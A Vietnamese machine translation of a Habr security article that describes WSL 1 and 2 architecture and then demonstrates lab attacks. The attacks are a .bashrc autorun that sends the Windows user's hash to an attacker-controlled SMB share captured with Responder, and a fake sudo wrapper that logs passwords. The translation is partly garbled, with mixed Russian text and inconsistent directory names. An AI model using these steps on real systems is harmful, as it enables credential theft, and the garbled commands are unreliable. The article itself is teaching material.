Các thí nghiệm WSL Phần 1

Xin chào Habr! OTUS ra mắt luồng khóa học mới vào tháng XNUMX "Bảo mật Linux". Trước khi khóa học bắt đầu, chúng tôi chia sẻ với bạn một bài viết được viết bởi một trong những giáo viên của chúng tôi, Alexander Kolesnikov.

Các thí nghiệm WSL Phần 1

Năm 2016, Microsoft đã giới thiệu công nghệ WSL mới tới cộng đồng CNTT (Wcảm ứng Shệ thống phụ cho Linux), trong tương lai có thể hợp nhất các đối thủ cạnh tranh không thể hòa giải trước đây đang đấu tranh để giành được sự phổ biến đối với cả người dùng hệ điều hành thông thường và cao cấp: Windows và Linux. Công nghệ này cho phép sử dụng các công cụ hệ điều hành Linux trong môi trường Windows mà không cần chạy Linux, chẳng hạn như sử dụng Multi-boot. Trên Habr bạn có thể tìm thấy một số lượng lớn các bài viết mô tả lợi ích của việc sử dụng WSL. Tuy nhiên, thật không may, tại thời điểm tạo bài viết này, không có nghiên cứu nào về tính bảo mật của sự cộng sinh như vậy của các hệ điều hành được tìm thấy trên tài nguyên này. Bài đăng này sẽ là một nỗ lực để sửa lỗi này. Bài viết sẽ nói về các tính năng của kiến ​​trúc WSL 1 và 2 và xem xét một số ví dụ về các cuộc tấn công vào hệ thống sử dụng các công nghệ này. Bài viết được chia thành 2 phần. Phần đầu tiên sẽ cung cấp các phương pháp tấn công lý thuyết chính từ Linux và Windows. Bài viết thứ hai sẽ liên quan đến việc thiết lập môi trường thử nghiệm và tái tạo các cuộc tấn công.

WSL 1: đặc điểm kiến ​​trúc

Để tìm hiểu chính xác nhất các vấn đề bảo mật WSL, cần xác định các sắc thái chính liên quan đến việc triển khai hệ thống con. Một trong những nhiệm vụ chính của người dùng được WSL giải quyết là khả năng làm việc thông qua thiết bị đầu cuối Linux trên máy chủ chạy hệ điều hành Windows. Ngoài ra, khả năng tương thích được cung cấp nguyên bản đến mức các tệp thực thi Linux (ELF) có thể chạy trực tiếp trên hệ thống Windows. Để đạt được những mục tiêu này, một hệ thống con đặc biệt đã được tạo trong Windows 10 cho phép bạn chạy các ứng dụng Linux bằng cách sử dụng một tập hợp các lệnh gọi hệ thống cụ thể - do đó, người ta đã cố gắng ánh xạ một tập hợp các lệnh gọi hệ thống Linux trên Windows. Điều này đã được thực hiện về mặt vật lý bằng cách thêm trình điều khiển mới và định dạng quy trình mới. Nhìn bề ngoài kiến ​​trúc trông như thế này:

Các thí nghiệm WSL Phần 1

Trên thực tế, sự tương tác với hệ điều hành Linux được tổ chức thông qua một số mô-đun hạt nhân và một loại quy trình đặc biệt - pico. Từ sơ đồ trên, bạn có thể thấy rằng tiến trình chạy trên phiên bản Linux trên máy chủ phải có nguồn gốc và phải sử dụng cùng tài nguyên như các ứng dụng Windows thông thường. Nhưng làm thế nào để đạt được điều này? Trong dự án Cầu rút Các khái niệm quy trình dành cho Windows đã được phát triển nhằm cung cấp tất cả các thành phần cần thiết của hệ điều hành (tùy thuộc vào phiên bản của nó) để chạy ứng dụng của hệ điều hành khác.

Lưu ý rằng tính trừu tượng được đề xuất giúp không thể tập trung vào hệ điều hành (đặc biệt là Windows), trong đó quy trình của một hệ điều hành khác dự kiến ​​​​sẽ khởi chạy và đề xuất một cách tiếp cận chung.

Do đó, bất kỳ ứng dụng nào trong tiến trình pico đều có thể chạy mà không cần quan tâm đến nhân Windows:

  1. Các vấn đề về tính tương thích và dịch thuật của cuộc gọi hệ thống phải được giải quyết bởi các nhà cung cấp đặc biệt;
  2. Kiểm soát truy cập phải được thực hiện thông qua Security Monitor. Màn hình nằm trong kernel và do đó Windows cần nâng cấp dưới dạng trình điều khiển mới có thể hoạt động như nhà cung cấp cho các quy trình đó. Quá trình pico nguyên mẫu được trình bày dưới đây:

Các thí nghiệm WSL Phần 1

Do hệ thống tệp Linux sử dụng tên tệp và thư mục phân biệt chữ hoa chữ thường nên 2 loại hệ thống tệp đã được thêm vào Windows để hoạt động với WSL - VolFS và DriveFS. VolFS là một triển khai của hệ thống tệp Linux, DriveFS là một hệ thống tệp hoạt động theo quy tắc của Windows, nhưng có khả năng chọn phân biệt chữ hoa chữ thường.

WSL 2

WSL 1 có một số hạn chế không cho phép sử dụng nó để giải quyết phạm vi nhiệm vụ tối đa: ví dụ: nó không có khả năng chạy các ứng dụng Linux 32-bit và không thể sử dụng trình điều khiển thiết bị. Do đó, vào năm 2020, WSL 2 đã được phát hành, điều này đã thay đổi cách tiếp cận xây dựng hệ thống con. WSL 2 là một máy ảo được tối ưu hóa phù hợp với đặc điểm tiêu thụ tài nguyên của WSL 1. Bây giờ, tùy thuộc vào các vấn đề được người dùng hệ điều hành Windows giải quyết, bạn có thể chọn phiên bản cần thiết của hệ thống con Linux. Để giảm thiểu các lỗ hổng có thể xảy ra, WSL 2 đã được triển khai dựa trên Hyper-V trong Windows 10. Ở dạng này, Windows có khả năng chạy kernel hệ điều hành Linux một cách riêng biệt. Cần nhớ rằng phiên bản 1 của WSL được giới thiệu như một tính năng beta nhằm thể hiện hướng phát triển của Windows trong lĩnh vực này, vì vậy việc chuyển đổi sang Hyper-V là điều không thể tránh khỏi. Kiến trúc cuối cùng trông như thế này:

Các thí nghiệm WSL Phần 1

Trong phiên bản này, nhân Windows và Linux có tài nguyên riêng và phần giao nhau chỉ tồn tại trong hệ thống tệp, nhưng phần giao nhau này chưa hoàn chỉnh. Tương tác giữa các hệ thống tệp được thực hiện thông qua trình bao bọc máy khách-máy chủ hoạt động bằng giao thức 9P.

Ngày nay Microsoft cung cấp khả năng chuyển đổi giữa WSL 1 và WSL 2. Cả hai phiên bản đều có sẵn để sử dụng.

Bảo mật WSL

Hiện tại, có một số công trình mô tả một số cách tiếp cận sử dụng các công cụ hệ điều hành hợp pháp để tấn công giao tiếp giữa các hệ thống con. Chúng tôi sẽ sử dụng tập lệnh của họ để kiểm tra mức độ liên quan của các cuộc tấn công tại thời điểm viết bài. Danh sách chung các cuộc tấn công và kịch bản:

1. Triển khai hệ thống tệp: quyền truy cập, tính khả dụng của các cơ chế trao đổi dữ liệu/thư mục dùng chung.

Nghiên cứu được tiến hành để xác định hành vi vi phạm quy tắc truy cập từ Linux FS->Windows FS, Windows FS->Linux FS. Nghiên cứu đã chứng minh khả năng sửa đổi một tệp nhất định trong hệ điều hành đích. Các nỗ lực cũng đã được thực hiện để thay thế, tạo bản sao và xóa một phần hệ thống tệp.

Kịch bản:

  • A. Tấn công từ hệ điều hành Windows - sửa đổi các tệp từ thư mục /etc của HĐH Linux.
  • B. Tấn công từ hệ điều hành Linux - sửa đổi các tập tin trong thư mục: C:Windows, C:Program Files, C:Users<User>

2. Triển khai ngăn xếp mạng.

Nghiên cứu được thực hiện bằng cách sử dụng các ví dụ về các cuộc tấn công từ hệ điều hành Linux vào Windows. Các tính năng của ngăn xếp mạng đã được sử dụng, cụ thể là cơ chế xác thực trên nhiều tài nguyên khác nhau.

Kịch bản:

  • Mở quyền truy cập vào một cổng đang bị chiếm dụng trên hệ thống Windows
  • Mở cảng mà không có quyền thích hợp
  • Chạy shell shell bằng file elf trên hệ điều hành Windows.

3. Ẩn việc khởi chạy các quy trình phần mềm độc hại bằng hệ thống con WSL.

Nghiên cứu này dựa trên một thực tế đơn giản - các hệ thống con bảo mật không thể chặn các sự kiện trong một hạt nhân khác hoạt động bằng cách sử dụng nhà cung cấp hợp pháp từ hệ điều hành trong trường hợp WSL 1. Trong trường hợp WSL 2, không có cách nào để xem các sự kiện xảy ra trong một hạt nhân riêng biệt trong máy ảo nhẹ.

Kịch bản:

1) Khởi chạy ứng dụng để truy cập từ xa vào hệ thống và xem các sự kiện đã ghi.

Thử nghiệm WSL 1: chặn hàm băm (Windows)

Cuối cùng chúng ta đã đến phần thực hành. Đầu tiên, bạn cần thiết lập môi trường thử nghiệm. Tất cả các thử nghiệm sẽ được thực hiện trên băng ghế có cài đặt Windows 10 2004. Hình ảnh Ubuntu 18.04 đã được chọn làm hình ảnh hệ điều hành cho WSL. Hình ảnh được chọn ngẫu nhiên và bất kỳ hình ảnh nào khác sẽ hoạt động tương tự. Các lệnh để thiết lập một gian hàng:

Trước tiên bạn phải khởi chạy powershell.exe với tư cách là quản trị viên.

Đối với WSL 1, bạn cần chạy các lệnh:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Sau khi khởi động lại giá đỡ, bạn có thể gọi lệnh bash. Nếu mọi thứ hoạt động chính xác, bạn sẽ thấy kết quả tương tự như thế này trong bảng điều khiển Windows:

    Các thí nghiệm WSL Phần 1

    Chúng tôi sẽ sử dụng bản phân phối Kali Linux làm máy của kẻ tấn công; tất cả các máy phải nằm trên cùng một mạng cục bộ.

    Giả sử chúng ta có quyền truy cập không có đặc quyền vào WSL trên máy Windows. Hãy thử tấn công hệ điều hành Linux bằng cách gọi lệnh từ Linux. Để thực hiện cuộc tấn công, chúng tôi sẽ sử dụng một kỹ thuật tự động chạy đơn giản - chúng tôi sẽ thêm tập lệnh của mình để thực thi trong môi trường Linux. Để làm điều này, bạn cần thay đổi tập tin .bashrc.

    Trên máy có WSL, chúng tôi thực thi:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Trên máy Kali Linux, chúng tôi chạy:

    1. Responder -I eth0 -rdvw

    Trên máy Windows, hãy khởi chạy bash.

    Chúng ta chờ kết quả trên máy Kali Linux:

    Các thí nghiệm WSL Phần 1

    Do đó, chúng tôi đã thu được hàm băm của người dùng Windows thông qua hệ thống con WSL bằng cách thực thi lệnh trên hệ thống Linux.

    Thử nghiệm WSL 1: lấy mật khẩu người dùng (HĐH Linux)

    Hãy làm thêm một thí nghiệm nữa. Trong quá trình kiểm tra này, chúng tôi sẽ thêm vào tập tin .bashrc một số lệnh để lấy mật khẩu người dùng hệ điều hành Linux.

    Hãy khởi chạy bash và nhập lệnh:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Để hoàn thành cuộc tấn công thành công, người dùng Sam cần gọi sudo trong thiết bị đầu cuối Linux. Sau này, mật khẩu người dùng hệ điều hành Linux sẽ có trong tệp pass.txt:

    Các thí nghiệm WSL Phần 1

    Việc thực hiện các cuộc tấn công chỉ được đưa ra mang tính chất lý thuyết.

    Phần tiếp theo của bài viết sẽ mô tả việc triển khai giao thức 9P, xem xét việc tạo một máy quét cho giao thức này và cũng thực hiện một cuộc tấn công bằng cách sử dụng nó.

    Danh sách tài liệu đã sử dụng

    Các thí nghiệm WSL Phần 1

    Đọc thêm

    Nguồn: www.habr.com

    Thêm một lời nhận xét